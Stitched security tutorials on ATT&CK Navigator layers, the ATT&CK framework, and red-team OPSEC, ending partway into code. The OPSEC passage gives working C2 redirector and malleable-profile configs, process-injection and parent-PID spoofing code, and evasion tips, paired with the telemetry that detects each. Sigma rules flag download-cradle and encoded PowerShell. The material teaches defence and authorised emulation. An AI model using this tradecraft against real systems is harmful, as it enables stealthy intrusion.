gradientScoring gradient object
legendItemsArray of legend entries
filtersPlatform/stage filter settings
sortingInteger 0–3 controlling sort order within tactics
layoutControls matrix display layout
hideDisabledBoolean — omit or grey-out disabled techniques
metadataLayer-level key/value metadata
linksLayer-level link objects
customDataURLURL of a custom STIX bundle or ATT&CK Collection

A minimal valid layer:

{
  "name": "Detection Coverage Baseline",
  "versions": {
    "attack": "15",
    "navigator": "5.3.2",
    "layer": "4.5"
  },
  "domain": "enterprise-attack",
  "description": "Blue-team detection posture",
  "techniques": []
}

The sorting field controls ordering within each tactic: 0 ascending by name, 1 descending by name, 2 ascending by score, 3 descending by score.


Hierarchy diagram of the ATT&CK Navigator v4.5 layer JSON structure, showing the root layer object branching into metadata, view configuration, gradient definition, and a techniques array whose entries each carry techniqueID, score, color, comment, and enabled fields.
Every Navigator layer is a single v4.5 JSON object; the techniques array is where all annotation data — scores, colors, comments — lives.

4. Building a Layer from Scratch (UI Walkthrough)

Open Navigator and select Create New Layer. Choose a domain (Enterprise, Mobile, or ICS) and an ATT&CK version — these become the domain and versions.attack fields. The matrix renders with every tactic as a column and techniques stacked beneath.

Use search to query by keyword, and multiselect to bulk-select techniques by platform, data source, or tactic. Selecting a technique highlights it; the right-click context menu and the technique controls bar apply annotations to the current selection. Expand a parent technique to reveal and individually annotate its sub-techniques (showSubtechniques: true).

This is the core discipline: select the techniques relevant to your engagement or coverage assessment, then annotate the selection rather than each cell one at a time.


5. Annotating Techniques: Colors, Scores, Comments, Metadata, and Links

Each object in the techniques array supports these fields:

FieldDescription
techniqueIDTechnique ID, e.g. "T1059" or sub-technique "T1059.001"
tacticTactic identifier, e.g. "execution"; if absent, annotation applies under every tactic the technique belongs to
scoreNumeric score; if omitted the technique is “unscored” and gets no gradient color
colorExplicit hex color — overrides any color implied by the score
commentAnalyst comment; rendered as a tooltip with an underline indicator
enabledBoolean; false disables/hides the technique
metadataArray of user-defined key/value objects
linksArray of label + url objects
showSubtechniquesBoolean; expands sub-techniques in the view
"techniques": [
  {
    "techniqueID": "T1078",
    "color": "#fc3b3b"
  },
  {
    "techniqueID": "T1059.001",
    "tactic": "execution",
    "score": 75,
    "comment": "Script Block Logging on; no behavioral alert yet"
  },
  {
    "techniqueID": "T1055",
    "enabled": false,
    "metadata": [
      { "name": "owner", "value": "detection-eng" },
      { "name": "ticket", "value": "DET-4412" }
    ]
  }
]

Scored techniques draw their fill color from the gradient. Define a red→yellow→green scale to read low coverage at a glance:

"gradient": {
  "colors": ["#ff6666", "#ffe766", "#8ec843"],
  "minValue": 0,
  "maxValue": 100
}

Make the scale legible to stakeholders with legendItems:

"legendItems": [
  { "label": "No Coverage", "color": "#ff6666" },
  { "label": "Logged Only", "color": "#ffe766" },
  { "label": "Alerted",     "color": "#8ec843" }
]

Use an explicit color for binary states (in-scope vs. out-of-scope), and score + gradient for graded coverage. Set enabled: false to grey out techniques irrelevant to the assessment so the heat-map stays readable.


6. Working with Pre-Built Threat Group Layers

ATT&CK publishes pre-built Navigator layers for documented threat groups. From any group’s page on attack.mitre.org, use the option to view or export the group’s technique usage as a Navigator layer — stored as a JSON file.

Import these as the baseline for adversary emulation planning: the group layer becomes the what they do, and your detection-coverage layer becomes the what you can see. Loading the group’s JSON via Open Existing Layer instantly highlights every technique attributed to that adversary across the matrix.


7. Combining Layers: Gap Analysis via Score Expressions

Layers compose. Create New Layer → Create Layer from Other Layers lets Navigator produce a calculated layer from arithmetic over loaded layers, which is how you build gap analysis without spreadsheets.

Each open layer is assigned a variable (a, b, c). Entering a score expression of a+b+c combines scores across three threat-group layers, surfacing technique overlap among multiple adversaries.

The high-value workflow for detection engineering: load the adversary group layer (a) and your detection-coverage layer (b), then evaluate b - a. Techniques the adversary uses but you cannot detect render with negative scores — these are your prioritized work items. Set sorting: 3 to float the highest-scored (or, inverted, the worst-gap) techniques to the top of each tactic.

{
  "name": "Coverage Gap (b - a)",
  "domain": "enterprise-attack",
  "sorting": 3,
  "gradient": {
    "colors": ["#ff6666", "#ffffff", "#8ec843"],
    "minValue": -100,
    "maxValue": 100
  }
}

Flowchart showing how an adversary group layer (a) and a detection coverage layer (b) feed into the score expression b minus a, producing positive scores for covered techniques and negative scores that become the prioritised detection engineering backlog.
Subtracting an adversary layer from a coverage layer instantly exposes undetectable TTPs as negative-scored, highest-priority detection work items.

8. Programmatic Layer Generation with Python

Author layers at scale with mitreattack-python. Query the STIX data for a named intrusion-set, collect the techniques tied to it, and serialize a v4.5 layer dict.

import json
from mitreattack.stixdata import MitreAttackData

mad = MitreAttackData("enterprise-attack.json")

group = mad.get_groups_by_alias("APT29")[0]
techniques = mad.get_techniques_used_by_group(group["id"])

annotations = []
for t in techniques:
    attack_id = mad.get_attack_id(t["object"]["id"])
    annotations.append({
        "techniqueID": attack_id,
        "score": 1,
        "comment": "Attributed via STIX intrusion-set relationship"
    })

layer = {
    "name": f"{group['name']} TTPs",
    "versions": {"attack": "15", "navigator": "5.3.2", "layer": "4.5"},
    "domain": "enterprise-attack",
    "description": "Auto-generated group layer",
    "techniques": annotations,
    "gradient": {"colors": ["#ffffff", "#fc3b3b"], "minValue": 0, "maxValue": 1}
}

with open("apt_layer.json", "w") as f:
    json.dump(layer, f, indent=2)

Generated JSON round-trips straight back into the UI via Open Existing Layer. Consuming a finished layer is equally simple — ingest it into reporting tooling and emit a Markdown gap table:

import json

with open("coverage_gap.json") as f:
    layer = json.load(f)

print("| Technique | Score | Comment |")
print("|---|---|---|")
for t in layer["techniques"]:
    print(f"| {t['techniqueID']} | {t.get('score','-')} | {t.get('comment','')} |")

9. Exporting Layers: JSON, SVG, Excel, and Multi-Layer Bundles

Search and filter the matrix to the exact view you want, then export it.

ExportControlUse
JSON“Code Blocks” downloadVersion control, pipeline ingestion
Excel“Table View” exportStakeholder spreadsheets
SVGCamera iconReport and CISO-deck renders
Multi-layer bundleDownload all open layersShare a layer set as one file

Embed a hosted layer directly in a report or internal portal with the layerURL query parameter:

<iframe
  src="https://mitre-attack.github.io/attack-navigator/#layerURL=https://intranet.local/layers/coverage_gap.json"
  width="100%" height="900" frameborder="0">
</iframe>

10. Layer Versioning and Migration

The sub-techniques update replaced many techniques with sub-techniques carrying new IDs, so layers authored before that release may not render correctly in newer matrices. The official update-layers.py script both upgrades a layer to the latest format and remaps technique IDs to their replacers where possible.

python3 update-layers.py --input old_layer.json --output migrated_layer.json

The in-app layer upgrade wizard (added in v5.x alongside STIX 2.1 Collection Index and TAXII 2.1 support) walks changed techniques interactively: it lists each technique’s previous and current state with links to both versions. Enable show annotated techniques only to focus on your annotations, then copy them from the previous version to the current one.


11. Common Attacker Techniques

Navigator is a planning tool — the “techniques” it manipulates are ATT&CK TTPs encoded as techniqueID values. The table below shows representative primitives a red team maps post-engagement and a blue team scores for coverage.

TechniqueDescription
Valid AccountsReuse of legitimate credentials; mapped as T1078
PowerShell ExecutionScript-based execution; mapped as T1059.001
Process InjectionCode execution in another process; mapped as T1055
OS Credential DumpingLSASS access for credential theft; mapped as T1003.001

Each cell in Navigator links to the technique’s ATT&CK page, which exposes Data Sources, Detections, and Mitigations — use Navigator as the bridge into those fields, not the endpoint.


12. Defensive Strategies & Detection

The Navigator generates no telemetry; the defensive concern is twofold — layer-file OPSEC and translating scores into real detection.

Layer-file operational security:
– Layer JSON may contain red-team TTPs, engagement timelines, and detection-gap scoring. Do not upload sensitive layers to the public hosted instance.
– Hosted-instance uploads stay client-side, but run a self-hosted, access-controlled instance (auth proxy or VPN-only) for operational data.
– Version-control layers in Git with access controls equal to other sensitive operational documentation.

Translating scores to detection: a technique scored 0 in your coverage layer should map to a missing Sysmon rule, ETW subscription, or audit policy. Cross-reference each low-scored techniqueID against the ATT&CK page’s data sources. For T1059.001 (PowerShell): Sysmon Event ID 1 (Process Create), Event ID 4104 (Script Block Logging via the Microsoft-Windows-PowerShell ETW provider), and audit policy Audit Process Creation.

A Sigma rule sketch for the missing detection identified by a gap layer:

title: Suspicious PowerShell Script Block Execution
logsource:
  product: windows
  service: powershell
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - 'IEX'
      - 'DownloadString'
      - 'FromBase64String'
  condition: selection
level: high

Overlaying an adversary layer (a) against a coverage layer (b) with the score expression b - a surfaces negative-score techniques — adversary TTPs you cannot detect — as the highest-priority detection-engineering backlog.


Flow diagram illustrating how a negative-score gap technique is cross-referenced against the ATT&CK page for data sources, mapped to Sysmon or ETW telemetry, addressed with a Sigma rule, and then rescored in the coverage layer to close the gap.
Each detection gap closes through a defined pipeline: ATT&CK data sources guide the telemetry check, a Sigma rule fills the gap, and the coverage layer score is updated to reflect reality.

13. Tools for Layer Analysis

ToolDescriptionLink
ATT&CK NavigatorBuild/annotate/export technique layersmitre-attack.github.io
mitreattack-pythonQuery STIX data, generate layers programmaticallygithub.com
update-layers.pyMigrate layers across ATT&CK versionsgithub.com
attack.mitre.orgSource of pre-built group layers + detection dataattack.mitre.org
SysmonHost telemetry to back coverage scoreslearn.microsoft.com
SigmaPortable detection rules for scored gapssigmahq.io

14. MITRE ATT&CK Mapping

Navigator has no technique ID of its own — it is a blue/purple-team planning tool. Its ATT&CK relevance is the technique IDs you place inside layers and the detection guidance each one links to.

TechniqueMITRE IDDetection
Valid AccountsT1078Auth logs, anomalous logon (Event ID 4624)
PowerShellT1059.001Sysmon Event ID 1, Event ID 4104
Process InjectionT1055Sysmon Event ID 8, Event ID 10
OS Credential Dumping: LSASST1003.001Sysmon Event ID 10 (lsass.exe access)

Summary

  • ATT&CK Navigator is the standard planning surface for threat-informed defense and adversary emulation — it visualizes coverage, it does not attack.
  • Layers are v4.5-format JSON files scoped to one domain; per-technique fields (techniqueID, score, color, comment, metadata, enabled) drive the heat-map.
  • Score expressions like b - a turn adversary and coverage layers into automatic gap analysis, surfacing undetectable TTPs as detection-engineering work.
  • Generate layers programmatically with mitreattack-python, migrate them with update-layers.py, and export to JSON, SVG, or Excel.
  • Treat layer files as sensitive: self-host with access control, version them in Git, and cross-reference every low score against real Sysmon/ETW/audit-policy detections.

Related Tutorials

References

Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques

Objective: Understand what the MITRE ATT&CK knowledge base is, how it is structured — domains, matrices, tactics, techniques, sub-techniques, and procedures — and how defenders, threat hunters, and authorized red teamers use it as a shared operational language for threat-informed defense and adversary emulation.


1. What Is MITRE ATT&CK and Why It Matters

MITRE ATT&CK is a living, open-source knowledge base that documents real-world adversary tactics, techniques, and procedures (TTPs). It was created by the MITRE Corporation and first released in 2013. ATT&CK focuses on how attackers behave — the actions they take inside an environment — rather than on the indicators of compromise (IOCs) they leave behind.

This distinction matters. IOCs (hashes, IPs, domains) are brittle and disposable; an adversary rotates them cheaply. Behaviors — injecting code, dumping credentials, abusing valid accounts — are expensive to change. ATT&CK catalogs the durable behaviors, grounded in empirical evidence from intrusions observed across industries and geographies.

ATT&CK builds on the Lockheed Martin Cyber Kill Chain (Hutchins, Cloppert & Amin, 2011). The Matrix columns are ordered roughly along the chronological flow of an intrusion, but ATT&CK goes deeper, enumerating concrete mechanisms under each phase rather than naming abstract stages.


2. The Three Domains: Enterprise, Mobile, and ICS

ATT&CK is partitioned into three domains, each with its own matrices.

DomainScope
Enterprise ATT&CKWindows, Linux, macOS, and cloud platforms (Azure AD, Office 365, IaaS, SaaS)
Mobile ATT&CKThreats targeting mobile devices and operating systems
ICS ATT&CKIndustrial control systems and operational technology

This site focuses on Enterprise ATT&CK because it covers the Windows, Linux, and cloud surfaces most relevant to blue teams, DFIR, and authorized red teaming.


3. Tactics, Techniques, Sub-Techniques, and Procedures

The ATT&CK data model is a four-level hierarchy. Each level answers a different question.

ComponentQuestionID FormatMeaning
TacticWhyTA####The adversary’s tactical goal — the reason for an action
TechniqueHowT####How the adversary achieves a tactical goal
Sub-techniqueHow (specific)T####.###A lower-level, more specific behavior
ProcedureWhat exactly(described in text)Real-world implementation by a named group, tool, or malware

Tactics represent the “why.” Techniques represent the “how.” Sub-techniques describe a narrower variation. For example, the technique Account Manipulation (T1098) encompasses sub-techniques such as Additional Email Delegate Permissions (T1098.002) and Exchange Email Delegate Permissions (T1098.003), each detailing a distinct method.

Procedures are the real-world implementations — specific tools, malware families, or hands-on-keyboard methods observed in active campaigns. This is what makes ATT&CK actionable: you can study the actual tradecraft, not just the abstraction.


Hierarchical diagram showing the four-level ATT&CK data model: Tactic at the top, branching down through Technique and Sub-Technique to Procedure, with T1098 Account Manipulation as a concrete example
The ATT&CK data model flows from abstract tactical goals down to specific real-world procedures, each level answering a progressively narrower question about adversary behavior.

4. Walking the Enterprise Matrix: The 14 Tactics

The Matrix column headings are the tactics, presented in roughly chronological order. The cells under each column are the techniques that achieve that tactical objective. The baseline below reflects ATT&CK v16.1 (14 tactics, 203 techniques, 453 sub-techniques). For reference, v18 lists 14 tactics, 216 techniques, 475 sub-techniques, 44 mitigations, and over 1,700 analytics. Always pin counts to a version.

#TacticTactic ID
1ReconnaissanceTA0043
2Resource DevelopmentTA0042
3Initial AccessTA0001
4ExecutionTA0002
5PersistenceTA0003
6Privilege EscalationTA0004
7Defense EvasionTA0005
8Credential AccessTA0006
9DiscoveryTA0007
10Lateral MovementTA0008
11CollectionTA0009
12Command and ControlTA0011
13ExfiltrationTA0010
14ImpactTA0040

v19 note (April 2026): ATT&CK v19 introduced a major structural change — the Defense Evasion tactic (TA0005) was split into two new tactics, Stealth and Defense Impairment. TA0005 is deprecated in the current release. Retrieve the exact new tactic IDs and transition guidance from attack.mitre.org/resources/updates/ before mapping against v19.


5. Anatomy of a Technique Page

Every technique page is a structured record. Take T1059.001 — PowerShell (a sub-technique of T1059 Command and Scripting Interpreter, under Execution).

FieldExample Value for T1059.001
IDT1059.001 (parent T1059)
Tactic(s)Execution (TA0002)
PlatformsWindows
Permissions RequiredUser / Administrator (context-dependent)
Data SourcesCommand, Process, Module, Script
MitigationsLinked M#### objects
Procedure ExamplesNamed Groups and Campaigns observed using PowerShell

A technique can belong to multiple tactics. The Detection section lists data source / data component pairs, free-text analytic notes, and — since v14 — structured pseudocode analytics from the MITRE Cyber Analytics Repository (CAR). These data-source fields tell you exactly which telemetry to collect.


6. Related Objects: Groups, Software, Campaigns, and Mitigations

ATT&CK is more than a list of behaviors. A graph of related objects ties techniques to threat intelligence.

ObjectPrefixDescription
GroupsG####Named threat actors (APTs, crimeware crews) mapped to techniques they use
SoftwareS####Tools, malware, and utilities used by adversaries
CampaignsC####Intrusion activity over a time window with common targets; may or may not be attributed
MitigationsM####Recommended defensive controls mapped to techniques
Data Sources / ComponentsObservable artifacts and telemetry that detect a technique

This turns the Matrix into an operational tool: not just “T1056.001 exists,” but which group uses it, with what software, in which campaign, and which mitigations apply. The Group pages are the entry point for threat-actor-centric research and emulation planning.


Graph diagram showing how ATT&CK related objects — Groups, Campaigns, Software, and Mitigations — interconnect around central Technique nodes, forming an operational threat intelligence web
ATT&CK’s related objects transform isolated technique IDs into an intelligence graph, linking threat actors, their tooling, active campaigns, and applicable defensive controls.

7. Programmatic Access via STIX and the ATT&CK Python Library

ATT&CK is published as STIX 2.1 — the structured threat intelligence format from the OASIS CTI Technical Committee. In STIX, an intrusion-set object (Group) links to attack-pattern objects (techniques/sub-techniques), malware and tool objects (software), and campaign objects. MITRE distributes the bundles on GitHub.

The canonical library is mitreattack-python (github.com/mitre-attack/mitreattack-python). Load a bundle and query the data model directly.

from mitreattack.stix2 import MitreAttackData

mitre = MitreAttackData("enterprise-attack.json")

# List every technique under the Persistence tactic (TA0003)
for t in mitre.get_techniques_by_tactic("persistence", "enterprise-attack"):
    print(mitre.get_attack_id(t.id), t.name)

Fetch a single technique by its ATT&CK ID and inspect the schema fields:

tech = mitre.get_object_by_attack_id("T1059.001", "attack-pattern")
print(tech.name)                 # PowerShell
print(tech.x_mitre_platforms)    # ['Windows']
for phase in tech.kill_chain_phases:
    print(phase.phase_name)      # execution

Walk the relationship graph to list every Group observed using a technique:

for g in mitre.get_groups_using_technique(tech.id):
    grp = g["object"]
    print(mitre.get_attack_id(grp.id), grp.name, grp.aliases)

The raw attack-pattern object behind that technique looks like this (trimmed and annotated):

{
  "type": "attack-pattern",
  "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
  "name": "PowerShell",
  "x_mitre_platforms": ["Windows"],
  "x_mitre_is_subtechnique": true,
  "kill_chain_phases": [
    { "kill_chain_name": "mitre-attack", "phase_name": "execution" }
  ],
  "external_references": [
    {
      "source_name": "mitre-attack",
      "external_id": "T1059.001",
      "url": "https://attack.mitre.org/techniques/T1059/001"
    }
  ]
}

To stay current across releases, diff two STIX bundles to surface added or modified techniques:

# Illustrative: compare two domain bundles and emit a change report
from mitreattack.diffStix.changelog_helper import get_new_changelog_md

get_new_changelog_md(
    old="enterprise-attack-16.1.json",
    new="enterprise-attack-18.0.json",
    domains=["enterprise-attack"],
    markdown_file="attack-v16-to-v18-changes.md",
)

8. The ATT&CK Navigator and Coverage Layers

The ATT&CK Navigator renders the Matrix as an interactive heat map. You assign scores and colors to techniques to build layers — coverage maps for detection engineering, gap analysis, and emulation scoping. Layers are JSON and version-controllable.

{
  "name": "Detection Coverage - Execution & Persistence",
  "versions": { "attack": "16", "navigator": "5.1.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1059.001", "score": 100, "color": "#31a354",
      "comment": "Sysmon EID 1 + Script Block Logging" },
    { "techniqueID": "T1547.001", "score": 50, "color": "#fee08b",
      "comment": "Partial registry telemetry" },
    { "techniqueID": "T1055", "score": 0, "color": "#de2d26",
      "comment": "No process-injection detection" }
  ]
}

Overlay an adversary’s known techniques (red) against your detection coverage (green) and the white space is your gap list.


9. Applying ATT&CK in Defense and Authorized Emulation

As a defender, map every SIEM alert and detection rule to a technique ID. Build Navigator layers to measure coverage, then prioritize engineering against the techniques most relevant to your threat model — threat-informed defense instead of blanket coverage.

As an authorized red teamer / adversary emulator, pull a Group page (e.g., a relevant APT), extract its technique set, and build a TTP-driven emulation plan. This is fundamentally different from vulnerability-based scoping: you exercise the behaviors the defense must catch. Tools like MITRE CALDERA and Atomic Red Team chain ATT&CK-mapped tests so blue and red teams speak the same IDs.


Flow diagram illustrating the threat-informed defense workflow: from ATT&CK Group pages through TTP extraction to parallel red-team emulation planning and blue-team detection engineering, converging on a Navigator coverage layer
Both red and blue teams start from the same ATT&CK Group profile, ensuring emulation exercises and detection rules address the same adversary behaviors and share a common technique-ID language.

10. Common Attacker Techniques

The framework catalogs thousands of behaviors. A handful illustrate the model’s range and the important fact that one technique can serve multiple tactics.

TechniqueDescription
T1059.001 — PowerShellExecute commands and scripts via the PowerShell interpreter
T1566 — PhishingGain initial access through malicious messages
T1078 — Valid AccountsAbuse legitimate credentials across persistence, privesc, and evasion
T1055Process InjectionRun code in another process’s address space to evade defenses
T1003.001 — LSASS MemoryDump credentials from lsass.exe
T1547.001 — Registry Run KeysPersist via autostart registry locations

T1078 (Valid Accounts) is the teaching case: it appears under four tactics — Initial Access, Persistence, Privilege Escalation, and Defense Evasion — because the same behavior serves different adversary goals depending on context.


11. Defensive Strategies & Detection

Because ATT&CK is structural, the goal here is wiring it into your detection workflow. Each technique page lists Data Sources (e.g., Process, Command, Windows Registry, Network Traffic) and Data Components (e.g., Process Creation, Network Connection Creation). These map directly to telemetry you must collect.

On Windows, Sysmon supplies much of that telemetry.

Sysmon Event IDDescriptionRelevant To
1Process CreateExecution (TA0002), Discovery (TA0007)
3Network ConnectionC2 (TA0011), Lateral Movement (TA0008)
7Image Loaded (DLL)Defense Evasion, Persistence
8CreateRemoteThreadProcess Injection (T1055.*)
10ProcessAccessCredential Access (T1003.001)
11FileCreatePersistence, staging
12/13/14Registry Create/ModifyRegistry persistence (T1547.001)
22DNS QueryC2 (T1071.004)

Sigma is the vendor-neutral detection format that carries ATT&CK IDs in its tags block, letting every rule trace back to a technique and tactic.

title: PowerShell EncodedCommand Execution
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - '-EncodedCommand'
  condition: selection
tags:
  - attack.execution        # tactic name (lowercase)
  - attack.t1059.001        # sub-technique ID (lowercase)
level: medium

Mitigations use M#### IDs (verify against attack.mitre.org/mitigations/enterprise/ before citing in production):

MitigationDescription
M1038Execution Prevention (application control)
M1042Disable or Remove Feature or Program
M1049Antivirus / Anti-malware
M1026Privileged Account Management

12. Tools for ATT&CK Analysis

ToolDescriptionLink
ATT&CK NavigatorHeat-map and coverage layersmitre-attack.github.io/attack-navigator
mitreattack-pythonCanonical STIX query librarygithub.com/mitre-attack
ATT&CK WorkbenchSelf-hosted ATT&CK extension/editingattack.mitre.org
MITRE CALDERAAutomated adversary emulationcaldera.mitre.org
Atomic Red TeamSmall, ATT&CK-mapped testsatomicredteam.io
SysmonWindows telemetry for detectionlearn.microsoft.com
SigmaVendor-neutral detection rulessigmahq.io

13. MITRE ATT&CK Mapping

Every other tutorial on this site closes with a mapping table. Read it as technique → tactic → context. This is the worked example.

Technique IDNameTactic(s)Notes
T1059Command and Scripting InterpreterExecution (TA0002)Parent technique; multiple sub-techniques
T1059.001PowerShellExecution (TA0002)Sub-technique used throughout this tutorial
T1566PhishingInitial Access (TA0001)Pre-execution delivery technique
T1078Valid AccountsInitial Access (TA0001), Persistence (TA0003), Privilege Escalation (TA0004), Defense Evasion (TA0005)One technique, four tactics
T1055Process InjectionPrivilege Escalation (TA0004), Defense Evasion (TA0005)Parent with many sub-techniques

14. Summary

  • MITRE ATT&CK is a behavior-based, empirically grounded knowledge base of adversary TTPs — not an IOC feed.
  • The data model is a hierarchy: tactics (why, TA####) → techniques (how, T####) → sub-techniques (T####.###) → procedures (real-world instances).
  • Related objects — Groups (G####), Software (S####), Campaigns (C####), Mitigations (M####) — turn the Matrix into an operational, intelligence-led tool.
  • Pin counts and structure to a specific version; v19 (April 2026) split Defense Evasion (TA0005) into Stealth and Defense Impairment — confirm the new IDs at attack.mitre.org/resources/updates/.
  • Operationalize ATT&CK by mapping data sources to Sysmon telemetry, tagging Sigma rules with technique IDs, and tracking coverage in Navigator layers for both detection engineering and authorized emulation.

Related Tutorials

References

OPSEC Principles for Red Teamers: Staying Undetected

Objective: Understand the operational security discipline an authorized red teamer must apply across infrastructure, process execution, network traffic, and on-disk artifacts to minimize detection surface, and learn the corresponding telemetry defenders use to catch each OPSEC failure.


1. What OPSEC Means for Red Teamers

Operational security is the discipline that separates a noisy penetration test from a realistic adversary simulation. A red team engagement that triggers every EDR sensor on the first beacon delivers a process audit, not a threat-emulation result. Every action — every API call, every DNS query, every dropped file — generates a detection signature. Strong OPSEC means knowing precisely what artifacts each action produces and either avoiding the action, blending it into noise, or accepting the risk consciously.

This tutorial is written for authorized red teamers and the blue teams who hunt them. Every offensive technique is paired with the exact telemetry that exposes it, so operators can self-audit and defenders can close the loop.


2. The Five-Step OPSEC Cycle Applied to Red Teaming

The classic OPSEC process, adapted to an offensive engagement:

StepActionRed Team Application
1Identify critical informationTooling names, operator IPs, attacker hostnames, C2 domains, callback patterns
2Analyze threatsEDR vendor, NDR, SIEM rule set, threat-hunt team maturity
3Analyze vulnerabilitiesWhich artifacts each TTP leaves (Sysmon ID, ETW provider, file path)
4Assess riskLikelihood × impact of each artifact being correlated
5Apply countermeasuresMalleable profiles, LOLBins, in-memory execution, in-scope log suppression

Operators run this loop before each phase — initial access, lateral movement, persistence, exfiltration — not once at the start of the engagement.


Flowchart of the five-step OPSEC cycle: Identify Critical Info, Analyze Threats, Identify Vulnerabilities, Assess Risk, Apply Countermeasures, looping back for each engagement phase
The OPSEC cycle is executed before every engagement phase — initial access, lateral movement, persistence, and exfiltration — not just once at kickoff.

3. Thinking Like a Sensor: The Defender’s Telemetry Stack

You cannot evade what you do not understand. Modern defenders correlate signals from at least five overlapping layers:

Sensor LayerWhat it sees
SysmonProcess create, network connect, image load, thread injection, pipe create, DNS query
ETWKernel-level process/thread events, Microsoft-Windows-Threat-Intelligence, PowerShell script block logging
AMSIIn-process scan of script content before execution
EDRUserland API hooks, kernel callbacks, behavioral chains
NDR / SIEMBeacon periodicity, JA3/JA4 fingerprints, DNS anomalies, log correlation

The Microsoft-Windows-Threat-Intelligence provider deserves a callout: it is PPL-protected and is the primary ETW source EDRs use for injection telemetry. Any attempt to disable it is itself a high-fidelity alert (T1562.001).


4. Infrastructure OPSEC: Redirectors, Domains, and Segmentation

If your C2 team server is exposed directly to the target network, a single block at the perimeter ends the engagement. Infrastructure OPSEC is about layering the chain so that the loud parts are disposable.

ComponentOPSEC Detail
RedirectorsApache mod_rewrite or Nginx reverse proxies between implant and team server; filter on URI, User-Agent, and source ASN
Categorized / aged domainsDomains > 90 days old, plausible web presence, Whois privacy, matching TLS certificates from a real CA
TLS hygieneAvoid default self-signed Cobalt Strike certs; serve a valid LetsEncrypt or commercial cert matching the fronted domain
Provider segmentationSpread redirectors, payload hosts, and team servers across multiple providers and regions; a defender who blocks one ASN should not break the entire kill chain
Domain fronting / CDN abuseTLS SNI presents a fronted CDN host while the Host: header routes to the operator’s origin (T1090.004)

A minimal Nginx redirector enforcing path-based filtering:

server {
    listen 443 ssl;
    server_name updates.example-cdn.com;

    ssl_certificate     /etc/letsencrypt/live/.../fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/.../privkey.pem;

    # Drop anything that isn't on the expected beacon URI
    if ($uri !~* "^/(api/v2/telemetry|cdn/assets)") {
        return 404;
    }

    # Drop scanners and unexpected User-Agents
    if ($http_user_agent !~* "Mozilla/5\.0.*Chrome") {
        return 404;
    }

    location / {
        proxy_pass https://teamserver.internal:8443;
        proxy_set_header Host $host;
    }
}

Architecture diagram showing C2 infrastructure layering from target network through an Nginx redirector and CDN proxy to a protected team server and operator console
Disposable redirector layers isolate the team server — blocking the front-facing node ends the beacon path, not the engagement.

5. Malleable C2 Profiles and Traffic Shaping

Default C2 profiles are signatured. A malleable profile rewrites every byte the beacon puts on the wire so traffic blends with expected enterprise patterns.

http-get {
    set uri "/api/v2/telemetry";
    client {
        header "Host" "updates.example-cdn.com";
        header "Accept" "application/json";
        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            prepend "{\"status\":\"ok\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

http-post {
    set uri "/api/v2/upload";
    client {
        header "Content-Type" "application/octet-stream";
        id { base64url; parameter "tid"; }
        output { base64; print; }
    }
}

Key directives: the metadata transform hides session state in a cookie; Host: masquerades as a CDN; URIs match a believable application path. The corresponding http-stager, process-inject, and post-ex blocks must also be customized — default stager URIs are the number-one Cobalt Strike fingerprint.


6. Process & Memory OPSEC

The classic injection triad is also the most signatured behavior in Windows. The following is shown as a “what not to do naively” reference — every line annotates the telemetry it produces:

// VirtualAllocEx in remote PID -> Sysmon EID 10 (PROCESS_VM_OPERATION)
LPVOID rbuf = VirtualAllocEx(hProc, NULL, sz,
                             MEM_COMMIT | MEM_RESERVE,
                             PAGE_EXECUTE_READWRITE);  // RWX = EDR red flag

// WriteProcessMemory                 -> Sysmon EID 10 (PROCESS_VM_WRITE)
WriteProcessMemory(hProc, rbuf, sc, sz, NULL);

// CreateRemoteThread                 -> Sysmon EID 8 (CreateRemoteThread)
HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
                                 (LPTHREAD_START_ROUTINE)rbuf,
                                 NULL, 0, NULL);

Quieter alternatives reduce — but do not eliminate — visibility:

  • Section-based injection via NtMapViewOfSection (T1055.004) avoids WriteProcessMemory but is still observable via Threat-Intelligence ETW.
  • APC injection via NtQueueApcThread triggers only when the target thread enters an alertable wait.
  • Reflective DLL / PE loading (T1620) avoids LoadLibrary and Sysmon Event ID 7 module-load entries for the malicious DLL path.
  • Direct / indirect syscalls (the SysWhispers3 pattern) bypass userland EDR hooks by invoking NTAPI numbers via the syscall instruction.
  • Allocate RW, then VirtualProtect to RX — never request PAGE_EXECUTE_READWRITE directly.

Process selection matters as much as the technique. notepad.exe initiating an outbound connection is anomalous; a browser or svchost.exe doing so is not.


Hierarchy diagram comparing process injection techniques from the high-visibility classic VirtualAllocEx triad down to quieter alternatives including direct syscalls and reflective DLL loading, annotated with their telemetry exposure
Injection technique selection directly controls which EDR and ETW sensors fire — quieter methods reduce surface but none are invisible to kernel-level telemetry.

7. Parent PID Spoofing

Parent-child chains are one of the cheapest behavioral detections. Spoofing the parent via UpdateProcThreadAttribute breaks the chain so a payload launched from a phishing macro can claim explorer.exe as its parent (T1134.004).

STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attrSize = 0;

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);

HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
    &hParent, sizeof(HANDLE), NULL, NULL);

CreateProcessA(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE,
               EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
               &si.StartupInfo, &pi);

The spoofed parent appears in Sysmon Event ID 1’s ParentProcessId and ParentImage fields. Detection: correlate ParentImage with the CreatingProcessId recorded by EDR kernel callbacks — they will disagree on a spoofed launch.


8. Network OPSEC: Sleep, Jitter, and Protocol Blending

A beacon calling back every 60 seconds on the dot is trivially clustered by an NDR. Add jitter:

import random, time

